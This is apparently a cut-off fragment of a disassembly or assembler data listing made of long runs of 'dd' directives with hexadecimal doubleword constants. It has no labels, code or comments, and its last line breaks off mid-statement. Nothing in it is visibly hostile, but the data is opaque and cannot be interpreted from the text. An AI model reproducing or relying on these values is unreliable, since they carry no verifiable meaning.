dd 50F26Bh, 0F5AF2862h, 0CEE17BBEh, 8E970300h, 60133C06h dd 17D24073h, 0E61658A5h, 0C43CC8h, 52A3F682h, 0FE94131Dh dd 0B0E2CA28h, 8978103Bh, 0C44B9D45h, 70441DFCh, 931DC4B2h dd 48CECDEh, 6D202E4Ah, 0A00950ECh, 407AEAC1h, 1DFC7500h dd 3BB83856h, 0EE190010h, 35C944A6h, 6B16A195h, 897601Bh dd 0A53810F0h, 0FBF70065h, 0FA1D1E1Ah, 86001741h, 0BF6FA850h dd 48166ABEh, 840C991Bh, 0D8D8F012h, 31EDB006h, 0A0E9E250h dd 9EE8AF3Ch, 3D5C60E4h, 0F45C82DEh, 88BC967Ch, 0C0783787h dd 206EEE1Fh, 0F9C8981Fh, 8E05F680h, 13BD1B62h, 57FB82F7h dd 3CF4A2B0h, 733E8723h, 24444876h, 974B38C0h, 0F0BF00D5h dd 0A58C59B2h, 9158B117h, 0CB8871ECh, 4010B7D9h, 0F91CFF4Dh dd 2C808CE0h, 6917D11Eh, 0B147171Dh, 15840C39h, 9D5BC7D9h dd 0D7D110C2h, 8AF60881h, 0E4E9A5EEh, 30A00C4h, 8C1E4F08h dd 0A800BE1Bh, 15E30F22h, 3B819BE9h, 1994B336h, 3818A46Eh dd 0B0CF38CEh, 3D70D964h, 885FF045h, 0BB00F2F0h, 81BD226h dd 0A8ED5h, 3FC7CB2Bh, 5084DC51h, 0EAD0CC64h, 17F888h dd 4635A978h, 8440C1FBh, 810075E4h, 0B0C6B7D4h, 4EC7F66Dh dd 1ACB604h, 701B0CE9h, 35F1D8FCh, 0F6D4CC3Ah, 0EC803B5Fh dd 9530B6h, 0E17D8C6h, 6B84F5DFh, 6CCCD0A8h, 0D783E005h dd 0C0C058CBh, 3E4129Dh, 57347E13h, 50F94E0Eh, 0FB93E8D4h dd 0DBE26000h, 5567A603h, 8C7A78h, 7028EEF3h, 9FFE3C5Fh dd 0CF2A1C13h, 3087D80Bh, 60D461F4h, 51FFF8CBh, 8415F616h dd 22C8D91Fh, 342900D5h, 0EFC7D1D4h, 420046B5h, 90038C8Bh dd 5A04D64Dh, 432C04A8h, 8CF745FEh, 62B028BEh, 2DD55D00h dd 0FEF2EF5Bh, 0B7200C3h, 613464C1h, 0E648C69Eh, 0ABDAC02Ch dd 0C07F0Eh, 0EDFD0993h, 661B46CBh, 0A825E34Bh, 516DF009h dd 0A4AD0708h, 6AFF701Ch, 63B0802Bh, 4E32B901h, 0E20A6D43h dd 0B708D0h, 1F6A472Eh, 7553951h, 66D68B14h, 0CC205FD0h dd 38DB8304h, 8C8B4BECh, 345091DCh, 26D42334h, 1DC1D401h dd 233B28D7h, 2A0D65Ch, 213FFFC7h, 80BF399Bh, 9CDA9EB8h dd 0A89217h, 37633B95h, 0C77A1405h, 0C3A1BB00h, 8251B82Dh dd 300A09A9h, 40D804E0h, 3F80F49Eh, 0A81A801Eh, 85A609B3h dd 6044DB92h, 0DFC89600h, 0F6BAA45Fh, 7D49E8BCh, 24901Dh dd 6AD4EE56h, 20598F6Eh, 2BF0FC02h, 82576FDDh, 80DF8308h dd 763EC714h, 3C34A8A0h, 94474C60h, 4125CA87h, 0FA299002h dd 866C2E7Dh, 14168FC7h dd 83707A66h, 687912h, 0E7987807h, 30165014h, 1492A652h dd 104E20F4h, 3F0743CDh, 44A9F01Ch, 0D98F4D30h, 0E6950359h dd 68CB8BCCh, 2205B6D1h, 0F5411038h, 0AF1CAD84h, 29AFDC74h dd 64207EC4h, 0A010E5h, 0C204663Ah, 687D2A0Fh, 13734B01h dd 2B150121h, 0E7D0C22Ah, 0E1C0B8F4h, 5B7533h, 7EC260DAh dd 0C08B4440h, 0F62F6404h, 23AF6987h, 8CBDC55Ch, 0F0E223F0h dd 0EEFB5100h, 39373E70h, 90410394h, 0D76186C0h, 4425D825h dd 15700C0h, 245E6DAAh, 9BEC9AF9h, 9F904600h, 7B35B968h dd 43F62DF7h, 2C4004D9h, 0D28598h, 4099A6FEh, 0FC8CA71Bh dd 0CC9F2F02h, 0D54B6614h, 5AAA7000h, 0EF299B07h, 2A9E90DAh dd 3D0D7244h, 0D9D8D680h, 0C5200099h, 0B313804Ch, 0CC0985B6h dd 649D30A9h, 8342F8h, 816BDB1Bh, 0B11A68E6h, 0E7909E0h dd 6503EC52h, 9E7CA2A3h, 12AFA4ABh, 4642064Ch, 502258CEh dd 886C4AD0h, 91005548h, 50DB3110h, 0B2047Fh, 0ADE3C272h dd 6636BEA6h, 2ECA9005h, 0C8445263h, 7F49F03Fh, 0E0030D9h dd 1F76E865h, 0C893484Bh, 0BC5AA004h, 8668B02Ch, 85DCA605h dd 0DCE4E6A9h, 54B8BFBFh, 0D80F2064h, 40B8D2E6h, 59ABFF57h dd 0E88F53CAh, 88CC683Bh, 3205E522h, 0FC81B370h, 0E689F481h dd 0AC368515h, 551CC2F8h, 2DD059FBh, 0F5FF8424h, 9CF5302Ch dd 74F23E50h, 44F6BF00h, 5E355D9h, 167F785Fh, 0C8B0FAFCh dd 0CF72A1C8h, 0C287700h, 0BA55CE20h, 0F76A50E1h, 12A07541h dd 35CDD4E8h, 757C3010h, 74001936h, 0B8944981h, 49AD1CF0h dd 0CC82060h, 21835B9Fh, 0CF131057h, 0BED0C6E7h, 3DD0F307h dd 68128169h, 830C2018h, 5503D1ECh, 583824FDh, 1CA2A4F5h dd 0CAA540h, 0D4CFFBF0h, 8566A99Dh, 9CC3603h, 184D8A6h dd 0DB0E4558h, 306326B2h, 5B901CCCh, 27E48754h, 48D49897h dd 0F8490995h, 9C240367h, 0C0854E37h, 0FE5055ECh, 7CF30E6Fh dd 780003DFh, 0C0051404h, 0E6407504h, 14B4658Bh, 0C8774FDDh dd 0C498A048h, 29742095h, 0C3A7F4h, 5D99767Bh, 5E903D19h dd 0FA169EEEh, 0AC88C677h, 5A0442E2h, 0BFAE834h, 7C01688Ch dd 0E0B9428Bh, 511865AEh, 848039D2h, 0D0178902h, 0C4F501Ch dd 202FA0C2h, 0C7DE4718h, 0F848C30Ch, 25E69F3h, 0FAB9128Ah dd 907FA831h, 3CF87974h, 660C6910h, 1C808FDBh, 0F044649Fh dd 0CBE1C4h, 9C2F9E31h, 0A9137823h, 7B768B02h, 625F803Ah dd 0F260D892h, 5E057245h, 5DCE353h, 5688F5A4h, 0CF1893C0h dd 0C94B003Ah, 0A139EDC6h, 0BD9942h, 876B5ACCh, 0B464B5D0h dd 4D8E6000h, 0DE1A96ACh, 31094481h, 0FCC8AB4Fh, 0EB8B0033h dd 1C5D3269h, 50B9CD5Ah, 481D44BAh, 2E8FBC42h, 88E03B2Bh dd 1027B922h, 0C058423Fh, 94F8D8B0h, 0D0512760h, 789D7040h dd 0BB6B00C4h, 37D2C687h, 0C8B509CEh, 0B722AD38h, 0FF442864h dd 0ABBE002Fh, 4FB2CFAEh, 8A0967ADh, 78A04675h, 0EC4D5340h dd 1C7F2C03h, 2FA82E1Bh, 6600AF8Bh, 67E71079h, 4BE66975h dd 7A9030C4h, 820055B8h, 0F119A7Fh, 0B51B74h, 974E8E72h dd 61703EE8h, 0F53CB601h, 40A703EDh, 281C7BECh, 4470CA41h dd 0AF051009h, 292AF1F5h, 70FE4B2h, 52A14D79h, 0FCE5CAA5h dd 581723D9h, 9CEC2E74h, 8FE0215Eh, 0BD43D8B4h, 0FB002C7Ch dd 0A77E8AD8h, 0B98CDFFh, 0ECC13F55h, 70C5AC6Ah, 0C1142803h dd 2598C0B4h, 0A6F30562h, 1CEAF887h, 0D6C28078h, 5BF1C7F0h dd 4F1D7E0Eh, 0BB830256h, 8C98F7A2h, 0A600ECC4h, 4FE8CA60h dd 0E8846370h, 415003Eh, 0EE718A9Dh, 99027207h, 0B1D83255h dd 31688185h, 9C2A7C66h, 6E0005D4h, 1E8F47C4h, 974CDC89h dd 0D02D6CECh, 6B70522Bh, 6032B136h, 0FF890D5h, 0E82500E7h dd 893517Fh, 0F702B544h, 8E2DD3EAh, 0C37040DAh, 40A606h dd 63BB7C2Fh, 8EBF016Ah, 6531D912h, 123F0CF2h, 35195F80h dd 0D7E6A066h, 8428E8BCh, 11CD1E21h, 0F4E62E03h, 808EC809h dd 0EFCF7C40h, 1B68004Ch, 789ECEB3h, 0B9733802h, 0C475D00h dd 169530B2h, 11C931D8h, 0E021DC18h, 9BE4779Ah, 935BAB00h dd 1C2429EEh, 0D9DA1394h, 8F30B8BFh, 0FD36A00Fh, 4AB621h dd 0F72D2585h, 0DFB04B46h, 409C6000h, 0BE308FB3h, 0AC5F1893h dd 0EAC90E72h, 5DC3800h, 0A1AE5B2Dh, 34A7810h, 93297FCBh dd 0F88B66DAh, 0C513CE2h, 4CB37C04h, 0CD0BA780h, 0D8C539AFh dd 0CCC9D89h, 0E21364D2h, 0FB13DE45h, 0FDF2CF4h, 467C08E1h dd 44D48489h, 105CDE7Ah, 66AF8901h, 70292DB8h, 57E490E8h dd 0E67BB817h, 2F257CECh, 14007CF1h, 0F17F2516h, 0CD48001Fh dd 7D6DBB5Ch, 4E013FC0h, 0F6EB9CF2h, 5F2A9758h, 90C2E10h dd 38A04282h, 0A5D98F60h, 0C4EE4A25h, 146B0044h, 97452A6h dd 0DC00D681h, 3E3DD233h, 2EB149B8h, 17AC31F7h, 4D7470FAh dd 56000B91h, 0A4D66532h, 73128D62h, 20D4B8B1h, 0DD11F83Bh dd 31172F4Eh, 4C80C852h, 1B170084h, 9B84F5E2h, 0B09D05EEh dd 0B76251CCh, 11531C10h, 4000B1FCh, 8F9391F3h, 4CCADE0h dd 48CB1FDDh, 0F830FA7Fh, 430199Fh, 0FB56D603h, 0B420BB7Ah dd 0C3BDC1h, 0F4F72842h, 758E733Fh, 7A939501h, 0B6F303C9h dd 38B497E8h, 0C80E3C6h, 14DA0459h, 3F007AEDh, 0A480311Bh dd 0ED15A6ABh, 8CD44Ch, 0D8D97A9Fh, 0E920398Eh, 55A53Dh dd 3C17E6D3h, 0B0671C79h, 0E7B324C4h, 27301EB4h, 80437CE4h dd 7F035021h, 819E1281h, 0D87E2F4Ah, 0C3016030h, 0EE68D9D4h dd 222EFA71h, 0E911E3FCh, 0B2E03106h, 0A84F2FB0h, 840550F0h dd 1C7ED41Dh, 0C370583Eh, 0C12F7AF0h, 24249F60h, 4AE4171Ch dd 0C5BCBCF8h, 0AFC581F0h, 0E71A3804h, 7A6D4640h, 592EC9C6h dd 0F0EB5852h, 3A051F44h, 0E9FD01D4h, 309D3339h, 0DB429C54h dd 483EFF4Ch, 0A4F24Fh, 2B6E3407h, 0FCE70Bh, 622C70EBh dd 64EC0501h, 10635127h, 0B7A7DD8h, 0A13794Dh, 7400F451h dd 3A088754h, 0B1753B52h, 0C8B5BA00h, 95D53ED7h, 4B678007h dd 0C9F448FAh, 4BE6095h, 420432F4h, 7F2D15F9h, 0E819AC11h dd 400094BEh, 86D4333Ch, 0BC5AF78Bh, 0E86E65E8h, 6D471318h dd 6000B0B2h, 4D58E15Ah, 23EC9759h, 0A8001D7Bh, 15084562h dd 2DE48F2h, 0CBE66114h, 0F0203360h, 3E0797Eh, 0ACF82437h dd 9B084E9h, 0FE5838C1h, 0A30B1D2Ch, 0F33B983Dh, 5B87B79h dd 1FDC7A0Ah, 0A2FCC2DDh, 4C835520h, 305B0CEEh, 0DDB9B153h dd 8574F5Eh, 0C08DFC22h, 164CE4Bh, 0D6C5FF28h, 0D82AD059h dd 0A99D5CE1h, 904C7348h, 98495B83h, 95EC41EDh, 0B320DA02h dd 1A174BAh, 9E79AC65h, 28C977FDh, 64E58888h, 0F2F4857h dd 149480F7h, 0A62750h, 84C78D96h, 63897853h, 0AE583405h dd 4405DF82h, 5005576Fh, 0CCB81A89h, 0E03C6C51h, 96227980h dd 0F4010746h, 0C48B3EE5h, 1C40C06Fh, 0AAD8FC85h, 0B6C7C48h dd 0FE2E4Bh, 4A359EE1h, 3A92FFCCh, 0DC220A5Bh, 0E5BC8000h dd 0A03485FCh, 191B0088h, 38E697E7h, 9F3DCEAFh, 0F3CB07C6h dd 14717527h, 55F81A81h, 477A048Ah, 0E4AEF77Fh, 7007311Ch dd 34F2F058h, 0BC896364h, 1F167860h, 21A0713h, 0C8F06718h dd 51083461h, 29626CACh, 7E2F0060h, 0CD87BEEBh, 8FF2000Ch dd 0EEE3096Ah, 32095FBDh, 6DE1B63h, 7879D930h, 744A5C44h dd 5A05F4C0h, 0F84C1B62h, 0C04C16F0h, 6C1728E6h, 8C190917h dd 3F6BFE00h, 185920ADh dd 899E2508h, 4EF004F8h, 2D608CC8h, 30E19236h, 38C0CEB1h dd 4F89020Bh, 23BA4054h, 7688E0BCh, 0A6B82DC6h, 18664300h dd 8EA6C405h, 62B3FA2Ch, 0E8CD4864h, 17228124h, 48A0B0D0h dd 0C84277F4h, 5146909h, 34D41C29h, 0A8B2FC63h, 7D767Ch dd 8C0F804h, 354C8C2Fh, 5FA17E58h, 7A40AC5Fh, 0F14BDB9Dh dd 0B2510028h, 0D3ABBB14h, 89C77A2h, 8E051A50h, 2A8C5E13h dd 24FF9CF0h, 64B88F6Fh, 0B9D32DFh, 40025404h, 0A68BA818h dd 0F9E1770h, 856C2304h, 704FDBD1h, 609F90F4h, 5D81900h dd 8415D0C5h, 680AAA13h, 3741B406h, 99BAF905h, 0A7A1100Bh dd 0CA6BCF9h, 60F22D92h, 42C13D7h, 8064247Bh, 638669Ah dd 0CE50D100h, 0E1203B7Ah, 4F249E67h, 9A2412C0h, 0E20219D8h dd 774DA9ABh, 22ACC47Ah, 524FCD26h, 73D990C8h, 0F2584B80h dd 54B10B40h, 1B9900C9h, 393059A9h, 0B1DEF08Dh, 1FDC22C0h dd 796DEEA1h, 90C00050h, 0C4D61C03h, 76108600h, 0AACAC6B1h dd 0BB820E50h, 5AC4DD57h, 8812EA30h, 519888h, 41B28FF0h dd 0B64AC4D1h, 44D06895h, 11D7D05h, 3D1CD7AAh, 2B3584E4h dd 83E0A803h, 8217F0C8h, 0D65706B1h, 18903AF4h, 0EA8BDC01h dd 53583963h, 2ED5020h, 672D147Fh, 327588F7h, 834400C4h dd 3AFDF093h, 8A061B0Dh, 11F20B82h, 60DA6809h, 0F6C890FEh dd 275A7695h, 0C5941EDh, 0A86A8081h, 0E6FC3998h, 89A15042h dd 4BB11EB3h, 0B86BCB62h, 0D88B2C90h, 12F99200h, 1730A6D0h dd 0F5E50518h, 0A6CCED82h, 989B0060h, 0BB05A672h, 3E22007Fh dd 34ACA4D4h, 2DB8FAC2h, 4286F516h, 6FCF6840h, 0E09C3h dd 0B8333B6h, 3050F6DAh, 825BB806h, 2811D893h, 0A14AB70h dd 7B3D4718h, 0D7F502F8h, 408C9A77h, 59069850h, 12B95C9h dd 5F088038h, 4F54847h, 3DCEC8Eh, 0CD44B4C4h, 0BD2BA6E8h dd 34EEDF0Fh, 0FFE220EFh, 2C5EA66h, 6D7B465Dh, 887EA830h dd 0FB7A6C82h, 0ECD93Bh, 600947BCh, 3601BD87h, 3883393h dd 470B441h, 2E609022h, 9011C9h, 0F849E495h, 2A2F9048h dd 12284575h, 15DC4591h, 9C60A83Fh, 0C20CEC0h, 5DD8AA4Ch dd 0F158D061h, 636B8E0Bh, 0E600D0F1h, 0D13A491Eh, 0F7AB01C0h dd 777E4618h, 106360h, 981576CDh, 12DDD57Ch, 0FC5D2E38h dd 0B9AB8028h, 0E6F1451h, 37EC7818h, 0BDDB0Eh, 5A6449F8h dd 45175FA0h, 0E0D9633Ah, 64DE1C21h, 0DBF94C74h, 8C096D00h dd 7271AEA7h, 0B48E5F2Ch, 0F9844ADh, 2F8237A2h, 0AAD43D41h dd 17530E7h, 45D8F600h, 0F2978050h, 0F6554AC0h, 0E8CB2280h dd 50570006h, 5A5DEE78h, 9D136C4Ch, 40C2349Bh, 6EB0A9E7h dd 0A8F65CB4h, 9EAAEC07h, 68898B56h, 0D098C08Bh, 0D75FF0A0h dd 243320E0h, 2C34B38Bh, 0DB936220h, 50A450FCh, 26195860h dd 0E3E10EEBh, 88196C13h, 88F21C3Ch, 2000932Fh, 0BF9628BCh dd 899E57h, 66F76A7h, 0F34539F7h, 5958351Eh, 24E4D012h dd 1EB4A607h, 2C562FF0h, 0C76D0514h, 0EF80077h, 0D7DFA066h dd 0EDE6EB19h, 466DB30h, 449D0222h, 247BE0h, 0A976668h dd 0A9A74EA1h, 950FEE00h, 8C793098h, 253B0010h, 24D9EFECh dd 20F16DD0h, 19C112E0h, 1BD6F6CBh, 40B0DEF2h, 0B9243A13h dd 0D8E227EEh, 0DD70AB00h, 7D97CD98h, 37C016Dh, 4660292Ch dd 0D1982092h, 85F64C0Ch, 24449913h, 8FCB842h, 0A103D831h dd 88EFD5CAh, 48E65EAAh, 17055601h, 0EF1D13C1h, 0F1249420h dd 9F6502D7h, 81CA55F2h, 0B988187Dh, 30521766h, 97CCE69h dd 0E8F94BFEh, 376608h, 2241F6Ah, 0E7E8B8E6h, 0C3BECA00h dd 0C886DBD6h, 576F0053h, 3AC79E9Ch, 7D25A728h, 286432h dd 0C4B1302h, 44A4CF6Ch, 0EC03411Ch, 6D743B80h, 0C30C6E3h dd 418EB88h, 1300CE08h, 0C7D4EA4Eh, 0D23A31E1h, 0C8C486B8h dd 230BD894h, 2945ED7h, 625564DBh, 59EC84C0h, 79919800h dd 167CC012h, 23E046Eh, 80E12B30h, 0D62EA164h, 66319716h dd 864AB831h, 87AA3E5h, 0B280D660h, 0BA7F53EDh, 4878F84Eh dd 7524ECD2h, 0E7341DA1h, 13564C90h, 455DD612h, 69A378A8h dd 6B330891h, 5125821h, 0DF80503Dh, 1A8F56Ah, 0CB17F300h dd 8654B0F4h, 663008C3h, 4F88051Ah, 0AB4508h, 0F590CB60h dd 0F84F6EF6h, 0E060C082h, 0AB540h, 0B6A0826Fh, 320BBF75h dd 0F13EC703h, 0EC47422h, 9F30E020h, 9CC80F81h, 8BE41h dd 2EDBD3D5h, 373B05Bh, 0DF491A3Bh, 21060CBBh, 0B846E0EAh dd 0EB150039h, 88A3968Eh, 143CF38Fh, 0D9D400F0h, 0D716E14Fh dd 7E9D02F5h, 0FE2E8893h, 5ECFC80h, 2D138AF8h, 8E0FB5D2h dd 0F90AE348h, 4DC097ACh, 1998D92h, 0F566D638h, 0BEB547E0h dd 593A0071h, 168B8CBAh, 0EDA37949h, 60A9886h, 337729ACh dd 610B7000h, 5EA85529h, 8E3D0048h, 17EAD087h, 253B350Eh dd 0E33A1D6Dh, 4D376FC5h, 8F8E0805h, 3F9D1406h, 233600F9h dd 45A84320h, 7400B14Bh, 0C9CAD896h, 1730AE4h, 931168BCh dd 81E682A3h, 0D9DC6688h, 6480EB09h, 398BAF1Fh, 0AC0DDA9Bh dd 0B9E42314h, 1652FF0h, 17C2503Ah, 0F0569DA0h, 13011EE3h dd 48CB3E1Fh, 89B20D7Ah, 6E00C738h, 0BB4E22h, 13D2B0C5h dd 0EAADC410h, 3512B90Eh, 0ED0C211Ah, 3180E222h, 991EC850h dd 0EC03BA05h, 638AE448h, 0E52683E1h, 8BB5B041h, 0D740E3C3h dd 67DCF4E7h, 80BA8046h, 0FFBDE41Ah, 36BBB60Ch, 0EA3142h dd 91784989h, 0FD17954Ah, 8A819E00h, 34BABCCAh, 26AC001Bh dd 898E9825h, 10F3C7Fh, 246504h, 449CE6A9h, 0E328C0EFh dd 662D53F9h, 50F6F14h, 95E200C4h, 73D52979h, 0C82853B4h dd 0D3758A04h, 9EC78022h, 0DA00DE2Bh, 0B2E6E7D5h, 5EE7F59h dd 231E56A8h, 0F38040DDh, 0F7734FEDh, 0DB5EFB00h, 3224A366h dd 0C0800D2h, 15218FFEh, 0FD00048Bh, 0D0E3D6A5h, 57FB5Eh dd 91E91318h, 53DC44ADh, 4AFDBB09h, 6B030007h, 0F5C50Dh dd 0B4ADD33Bh, 0BC91B74Dh, 7F19A8A8h, 5DE4AF00h, 0A3074433h dd 91E0678Bh, 5821D906h, 0E82973A5h, 2A00437Dh, 0C527A18Ah dd 3BC4216Ah, 0A394E93Eh, 618648Fh, 0EC9539BAh, 0B9B7CC07h dd 9D7D02Dh, 8E700740h, 0C3C27EA5h, 9182E031h, 193564B8h dd 0B1FBE402h, 84DEB9A2h, 4CB4710h, 8F5FEA00h, 47AE5B87h dd 0DF5C7100h, 0E00BBBB3h, 0C0D3243h, 0DE203F31h, 14D248h dd 0A2223417h, 4BBCFFCFh, 0A51B7600h, 0EEA63F6Ah, 13EA38B8h dd 0C05A4D80h, 0E071EF28h, 81CC4530h, 0A1E7B8A2h, 3436324Ch dd 0E87D62Eh, 845566C0h, 9D00BB22h, 88513B3Ah, 7E8E589Eh dd 0E6930F0Eh, 18BE75EBh, 1FBB29B3h, 0A6B10B6Eh, 78187FBCh dd 68B70310h, 461EBBB4h, 6B39210Ah, 341D1CB2h, 0AF5A0022h dd 0E30E9C88h, 0F400C093h, 1184829Dh, 1F8C4939h, 0C2980FCCh dd 0BD8E10DEh, 0EA8DB220h, 16A7279h, 16144DEEh, 2317A264h dd 843B0050h, 0C98CED5Bh, 0EF38076Eh, 4027A944h, 0DB899664h dd 0B537032Eh, 2ED23001h, 0A181C854h, 0E4C586C9h, 0E630201Eh dd 0F8AF88h, 918EA012h, 0F7AE44DBh, 0ED5DE500h, 11408087h dd 2634006Dh, 0F397308Fh, 1FF4A067h, 424C4098h, 35DA00D0h dd 46F6F184h, 9C190088h, 0C20D6E74h, 1C008B91h, 5E25345Fh dd 4F68FC8h, 390E78EFh, 0BBC4C861h, 0A8403D29h, 1586314h dd 45177DB0h, 9050A591h, 0F53F7EDh, 0DB4139B8h, 4CD68440h dd 0A3002402h, 347748EFh dd 0AFFEE99h, 712214E2h, 2A048108h, 41DEC7A3h, 809E917Ch dd 1B796659h, 31802Bh, 7F169F7Bh, 0CABF10AEh, 0E3C20C3h dd 3488D4CBh, 6E090DCh, 0BE72C7BCh, 6300886h, 697EB9B9h dd 0D93E0010h, 6A772479h, 38002E13h, 0D501D172h, 0C0477F4Eh dd 5EF3F6F1h, 7E00C336h, 5B8C5234h, 37FB49DFh, 7051C656h dd 88C8BB84h, 210BA505h, 8047C46h, 5898AFF3h, 31AE2C12h dd 13CA1279h, 0B7C448C4h, 1CC51B80h, 5C07B26h, 40A9B83Eh dd 16B8410Eh, 0ED203D23h, 0B474408Bh, 473BB008h, 0D868AC7Ch dd 229CF614h, 24B90FA8h, 0D644675Bh, 9296C0FBh, 0F87E129Eh dd 0A2B68302h, 41A152D8h, 8015E560h, 98CE7B94h, 0FF1E0907h dd 0DFC387D4h, 4E37B8CBh, 11C064EBh, 0B2274020h, 249864A1h dd 0FBFFC17h, 51984C35h, 0B809866Ch, 0FE3FBC1h, 9CB70AAFh dd 0A9A2918Ch, 1E61007Ch, 5A33EAB6h, 580934AEh, 80C68E21h dd 8C953106h, 39C4634Eh, 0DC987547h, 0DB38D9ABh, 70C6ACE3h dd 248E1B01h, 20249E0Bh, 3A950C2Eh, 8139C58Dh, 368A4D05h dd 0E00814E7h, 0C61000CBh, 48AFF463h, 0AE906500h, 672344F9h dd 0CBE6A170h, 0A10F7AC8h, 9C11AAD4h, 0A2E8503Ah, 7D00D7CBh dd 9A5E34CCh, 38BE4883h, 3E97BDF5h, 0B8400240h, 0C5200C3Dh dd 5CEC2630h, 341428C4h, 1A80944Eh, 94816FF7h, 1FFCC098h dd 1202DDE2h, 0E03171EAh, 8846AEh, 407E608Ch, 0EC2A411Fh dd 0BA1830E8h, 0C021B87Dh, 0A1DD007Bh, 0B207E3A0h, 39093D64h dd 902310ADh, 5C3202Ch, 0DFA6727Ch, 0BA33815Eh, 1754223Ch dd 10084413h, 62398541h, 0BCA440C9h, 4608C2EDh, 21C07B7Fh dd 3AC5288Dh, 2ECB1CD6h, 49AF80DAh, 0A8E09790h, 8E39BC13h dd 67C0C427h, 17419E85h, 64EAF8h, 9366F1B0h, 1C918137h dd 0D3207390h, 0AC641F00h, 0A666FCD9h, 90309137h, 3AF9658Eh dd 9D1BB4C0h, 0FE448845h, 0D3FEDFECh, 0EBDCB00Bh, 95EC1871h dd 807601A0h, 348705AEh, 296C20B3h, 18CC3553h, 38B9B606h dd 0A5A6004Bh, 0BFD7EDEEh, 0D80066F5h, 6706ACDBh, 0CE5D6E9h dd 0B9B22FC2h, 5650E861h, 901E0E24h, 8424C113h, 48AD6888h dd 401D1F48h, 0BB3A0DF2h, 7F185431h, 0EBC834A7h, 0EC8E4816h dd 9CA23280h, 0AF207A6Ah, 17CF7FFEh, 7255CE8h, 105A685Ch dd 6A81152Dh, 35149877h, 2238C4E9h, 0DC3B00A7h, 965109EAh dd 5E00BFAEh, 4ADE6668h, 0E0364F10h, 198F0FAh, 0C4644D1Fh dd 222B8BD9h, 20BB12A8h, 0F0082094h, 152881C6h, 87B106EAh dd 2D42BC11h, 90E4490h, 167F1CA7h, 4A155C62h, 24C50F1h dd 0D3C6AEC9h, 0E4A08C4Eh, 200D5082h, 7152E526h, 0B999A800h dd 650C9233h, 889C988Dh, 8671FAFCh, 0A1B0DA00h, 0C67A10D6h dd 0A41558CDh, 0EFA5870Ah, 0C348050h, 0E73839ABh, 29626401h dd 0DAB68F1Fh, 4CC031h, 0A19401AAh, 4597310Ch, 0A57E70A0h dd 5F664000h, 21794984h, 0CE8A30BFh, 4CF61338h, 90100933h dd 0EC81F50Ch, 9008F9B9h, 3B00D8B9h, 567AB694h, 0D54607DCh dd 1757E8A8h, 28F46116h, 0EB8EDC37h, 0BB0C08B2h, 48E8BD39h dd 0A0075CEAh, 0F6A10B80h, 3300B82Dh, 74E6E569h, 18891358h dd 79FB22ECh, 0D1FE6CF5h, 3FC31100h, 6818F03Bh, 53E00033h dd 2846F28Ah, 0B1136F5Eh, 5C2037BBh, 0B929B0F0h, 9F508F4h dd 60391504h, 4490E8C8h, 8205C2A3h, 66563BC9h, 0B0BF31C1h dd 5C55ABD8h, 17F4CF3h, 8FFFAEEAh, 924B693Ah, 0E018BB41h dd 94673971h, 94919490h, 0CFB06A87h, 801CC7E0h, 0C4006ECFh dd 3ED9115Ah, 9122BAE9h, 30231EFCh, 30D78BF1h, 4E9EFD00h dd 52FFB721h, 0E0400CD1h, 9C59AE2Ch, 0F4063CA1h, 0E2009FBDh dd 0F77B7A7Dh, 78ABA55h, 0D3CD821Eh, 8E1C2044h, 0E400838Ch dd 0EDD906A1h, 0D4B30AE7h, 0EC006810h, 0C99D04CBh, 0DF012E31h dd 68A162Ah, 0A1D71786h, 0F192BA82h, 68C0D822h, 0C012FAF2h dd 841EC517h, 1BF0B4E6h, 0E88F31A3h, 382FE0E9h, 6A8281B0h dd 8C45D349h, 27BCD888h, 3C20B9A5h, 741F12AFh, 0B639E018h dd 1C51439h, 0C2E6E3F3h, 4177460Ch, 222C8B3Ch, 0D2330BFCh dd 375F842Eh, 0C451C4A2h, 8E88E423h, 5C096134h, 83284A9Dh dd 82E86F24h, 0FD60E064h, 37A71666h, 8704324Dh, 812F304h dd 1380AD2Ch, 4EA725DFh, 0D12D1F2Fh, 99050A36h, 6F1EA4h dd 0B8EBC69Fh, 8C289B31h, 47516028h, 8CBF0A8h, 2AEB2E04h dd 0F3220E23h, 88AC3910h, 0B1C03C9Ch, 9BCDE3EEh, 9F7300B6h dd 0DCC23BFEh, 0C90174EDh, 6E7F21Ch, 2C706B64h, 3B3831B8h dd 80E32339h, 0CBDC6659h, 4657BBh, 2E9A374Eh, 7D6C3F26h dd 0FB3A4700h, 6B39B4B1h, 80BB6769h, 0C9B714C1h, 74DC0048h dd 8F22D366h, 1328719Eh, 3B936EDh, 1BAF6245h, 0E85187F8h dd 212FAE04h, 38A0DEBBh, 84B25406h, 2482015Dh, 38E68DDDh dd 142267h, 68B151Fh, 7CD2CFh, 0D77548C0h, 0BA5A7DEh, 9D463614h dd 4E8B0C08h, 5CBA29CEh, 8D2201Eh, 438BA770h, 0BE1100CDh dd 0F0BB75Bh, 0B91DD358h, 0CFC289C0h, 0FD008B4Bh, 0DB559EE4h dd 0C462Ah, 607549AEh, 8AEC6980h, 0BD6F4E01h, 8CD18797h dd 0C56C06C4h, 0F9D4911h, 1C061214h, 310A78A1h, 0FC572EBAh dd 0F374D140h, 47F70013h, 69309E23h, 1E5C07C3h, 0FC228Ch dd 0D8B34F4Ch, 0F442D6C1h, 0DD589Fh, 0B820E92Dh, 8D3ECB0Bh dd 5C20654Eh, 0A6C54Ch, 0FC46C82Dh, 51D63B42h, 4E1134Ch dd 1F209EFAh, 0AF0824A2h, 0A3A89F91h, 8D3AA901h, 0B9F207D3h dd 2985060h, 4FAE6188h, 5AC2A5h, 3CF61702h, 10898E6Bh dd 0EB004B36h, 0BE2EA1D6h, 5DDDD9ABh, 661130E3h, 0A32801B2h dd 17BD3551h, 0A3AD8FF0h, 5868D00Ch, 0D779015Ch, 808C1551h dd 361FF0BDh, 3CF7CB03h, 1CC3EA6Ah, 0D7764731h, 0F6040268h dd 0C8222BE0h, 220D8B1h, 0F0F97A83h, 3C40701Eh, 0C0912EA2h dd 68CD4964h, 0EA0BF062h, 20109117h, 0F100C4F4h, 3C06581Fh dd 4BE43D0h, 3946A8FCh, 2B548861h, 0DBC51501h, 2EC2E4E3h dd 583375FDh, 88C44E10h, 9D2804A2h, 23805C42h, 5556AE1Eh dd 1C7F589Ah, 0A38E4F80h, 0C50E6F6Ch, 0F280C99h, 0F7C12426h dd 88B408A4h, 4100847Bh, 0A57EBEB7h, 0DB93C4h, 59CDFD36h dd 0C290027Ch, 31BA2F02h, 662A8C99h, 0F9797340h, 22861C08h dd 7491DEC1h, 936CFE80h, 0B199ACCh, 0D1B7EBE7h, 0C004900Bh dd 0C96C2141h, 0FB7FC110h, 3A1884F3h, 0BB43DC64h, 31283035h dd 